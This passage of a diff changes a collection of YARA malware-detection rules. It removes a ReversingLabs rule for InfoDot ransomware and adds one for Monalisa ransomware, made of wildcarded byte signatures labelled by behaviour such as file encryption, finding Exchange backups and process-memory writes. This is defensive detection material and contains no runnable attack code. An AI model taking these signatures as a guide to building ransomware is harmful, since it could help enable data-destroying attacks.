-              ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8
+		$encrypt_files_p3 = {
+            99 2B F8 1B CA 89 7C 24 ?? 89 4C 24 ?? 0F 88 ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ??
+            ?? 8B C6 99 3B CA 7F ?? 7C ?? 3B F8 73 ?? 6A ?? 6A ?? 51 57 E8 ?? ?? ?? ?? 8B F7 2B
+            F0 85 F6 0F 8E ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 33 C0 83 C4 ?? 89 44 24 ?? 89 44
+            24 ?? 3B F8 0F 84 ?? ?? ?? ?? 50 8D 44 24 ?? 50 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 39 74 24 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B CE F7 D9 51 53 FF 15 ??
+            ?? ?? ?? 56 57 8D 44 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 52 56 57 53 FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7C
+            24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? 8B 44 24 ?? 81 44 24 ?? ?? ?? ?? ?? 40 89 44 24 ?? 3B 44 24 ?? 0F 8C
+            ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? ?? 85 FF 74 ?? 57 E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 68
         }
-		$encrypt_files_p2 = {
-              84 C0 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ??
-              ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45
-              ?? 6A ?? 0F 43 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B
-              D8 83 FB ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 68 ??
-              ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 1B D7 01 05
-              ?? ?? ?? ?? 11 15 ?? ?? ?? ?? 83 65 ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 8B FA
-              8B F0 8B 55 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 6A ?? 1B D7 01 05 ?? ?? ?? ??
-              8B 45 ?? 11 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 6A ?? 83 15 ?? ?? ?? ?? ?? 6A ?? 53 FF
-              15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 FF 75 ?? FF 35 ?? ??
-              ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 53 1B D7 01 05 ?? ?? ?? ?? 11 15
-              ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 51 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 83
-              79 ?? ?? 72 ?? 8B 09 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D
-              ?? E8 ?? ?? ?? ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ??
-              ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ??
-              64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p4 = {
+            8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D
+            74 24 ?? 8D BC 24 ?? ?? ?? ?? F3 A5 8B 4C 24 ?? 6A ?? 89 8C 24 ?? ?? ?? ?? 8B D0 8D
+            4C 24 ?? 51 C1 FA ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 52 53 C7 44 24 ?? ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 94 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 5F 5E
+            5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 8B 8C
+            24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$find_MS_xchange_backups_p1 = {
+            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
+            ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ??
+            8B 1D ?? ?? ?? ?? B0 ?? 88 44 24 ?? 88 44 24 ?? B0 ?? 83 C4 ?? C6 44 24 ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? 88 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? C6 44 24 ?? ?? 88 44 24
+            ?? 88 44 24 ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B FF 68 ?? ?? ?? ?? 8D 8C 24
+            ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 54 24 ??
+            52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 6A ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 D2 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ??
+            8D 44 24 ?? 50 8D 4C 24 ?? 51 52 52 52 52 52 52 66 89 54 24 ?? 8D 94 24 ?? ?? ?? ??
+            52 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 6A ?? FF D7 83 C6 ??
+            FF 4C 24 ?? 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D 49 ??
+            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 C6 84 24 ?? ?? ?? ?? ?? E8
+        }
+		$find_MS_xchange_backups_p2 = {
+            83 C4 ?? 56 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 6A
+            ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 33 C9 8D 54 24 ?? 52 89 44 24
+            ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 51 51 51 51 51 51 66 89 4C 24
+            ?? 8D 8C 24 ?? ?? ?? ?? 51 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
+            D3 6A ?? FF D7 83 C6 ?? FF 4C 24 ?? 0F 85 ?? ?? ?? ?? 33 D2 68 ?? ?? ?? ?? 52 8D 84
+            24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 B1 ?? EB ?? 8D 49 ??
+            30 88 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ??
+            51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ??
+            ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ??
+            ?? ?? 83 C4 ?? 33 C0 8D 4C 24 ?? 51 8D 54 24 ?? 52 50 50 50 50 50 50 89 44 24 ?? 89
+            44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 50 6A ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D3 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC
+            E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_volumes and $find_files and ( all of ($enum_shares_p*)) and ( all of ($encrypt_files_p*)))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($find_MS_xchange_backups_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Infodot : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Monalisa : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects InfoDot ransomware."
+		description = "Yara rule that detects Monalisa ransomware."
 		author = "ReversingLabs"
-		id = "2f6447f4-523b-5ea1-a16d-d68bb9bcc79d"
-		date = "2021-02-16"
-		modified = "2021-02-16"
+		id = "34addb63-2426-59a2-b79b-052a9161d361"
+		date = "2022-05-13"
+		modified = "2022-05-13"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.InfoDot.yara#L1-L115"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "24a1c25c1d70c21323417ae0892c613361c4bfc829737ef86b6fa7616ae668c6"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Monalisa.yara#L1-L83"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0bcb79dff111ec05ac93bbe9a777546bd6234dc60d9f6982c03cd0bc3b26b038"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33388,109 +35042,72 @@ rule REVERSINGLABS_Win32_Ransomware_Infodot : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "InfoDot"
+		tc_detection_name = "Monalisa"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 8B D9 89 9D ?? ?? ?? ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 FF D3 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? EB
-            ?? 8D 49 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75
-            ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50
-            ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85
-            C0 74 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 85 D2 74
-            ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0
-            83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 50 FF 15
-        }
-		$find_files_p2 = {
-            8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 56 50 FF D7 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
-            50 FF D3 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? F6 85 ?? ??
-            ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? 50 56 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 FF D7 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9
-            EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51
-            8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? 99 83 C4 ?? 0B
-            C2 75 ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 83 CB ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? 8B CF 8D A4 24
-            ?? ?? ?? ?? 66 8B 31 66 3B 32 75 ?? 66 85 F6 74 ?? 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83
-        }
-		$find_files_p3 = {
-            C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9
-            ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50
-            ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85
-            C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ??
-            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
-            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ??
-            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51
-            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 0F 66 3B 08 75 ?? 66 85 C9 74 ?? 66 8B 4F ?? 66 3B 48
-            ?? 75 ?? 83 C7 ?? 83 C0 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 DB 7F ?? 8B 95 ?? ?? ?? ?? 7C ?? 81
+		$find_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 A1 ?? ?? ?? ?? 33
+            C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B CC 89 65
+            ?? 8D 45 ?? B3 ?? 51 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 33 C0 6A
+            ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 E8 ?? ?? ?? ??
+            83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8A D3 88 5D ?? 8B CE E8 ?? ??
+            ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
+            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ??
+            83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ??
+            ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
         }
-		$find_files_p4 = {
-            FA ?? ?? ?? ?? 73 ?? 3B D8 0F 8F ?? ?? ?? ?? 7C ?? 3B D1 73 ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 EC ?? 8D 95 ?? ?? ?? ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 84 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 3B D8 7F
-            ?? 7C ?? 8B 85 ?? ?? ?? ?? 3B C1 73 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 3D ??
-            ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ??
-            ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D
-            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$write_proc_mem = {
+            8D 45 ?? 50 FF 76 ?? 8B 46 ?? 03 C7 50 8B 06 03 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 3E 0F B7 41 ?? 48 3B D8 75 ?? 8B 51 ??
+            EB ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 56 ?? 8B 4E ?? 2B D7 8B C1 25 ??
+            ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ??
+            ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ??
+            ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ??
+            ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 85 C9
+            B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 48 C1 8D 4D ?? 51 50 8B 45 ?? 52 03 C7 50 FF 75 ??
+            FF 15
         }
 		$encrypt_files = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8B F1 C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 74 ?? 83 C8 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 56 8D 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 0F 57
-            C0 68 ?? ?? ?? ?? 50 F3 0F 7F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
-            ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
-            57 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B FF
-            81 FF ?? ?? ?? ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
-            50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75
-            ?? 8B C7 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 BE ?? ?? ?? ?? 2B F0 8D 85 ?? ?? ?? ??
-            56 03 C7 56 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F7 8D 85 ?? ??
-            ?? ?? 56 50 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 6A ?? 50 E8 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ??
-            83 C4 ?? 33 CD 33 C0 5F 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 50
+            8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ??
+            ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 51 0F 43 05 ?? ?? ?? ?? 50 6A ?? 68 ??
+            ?? ?? ?? 51 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 05 ?? ?? ?? ?? ?? ?? ??
+            ?? 0F 10 00 0F 11 05 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 05 ?? ?? ?? ?? C7 40 ?? ??
+            ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 89 08 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ??
+            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77
+            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64
+            89 0D ?? ?? ?? ?? 59 8B E5 5D C3
+        }
+		$generate_key = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 75 ??
+            8B 0C 88 A1 ?? ?? ?? ?? 3B 81 ?? ?? ?? ?? 7F ?? 56 FF 75 ?? FF 35 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ??
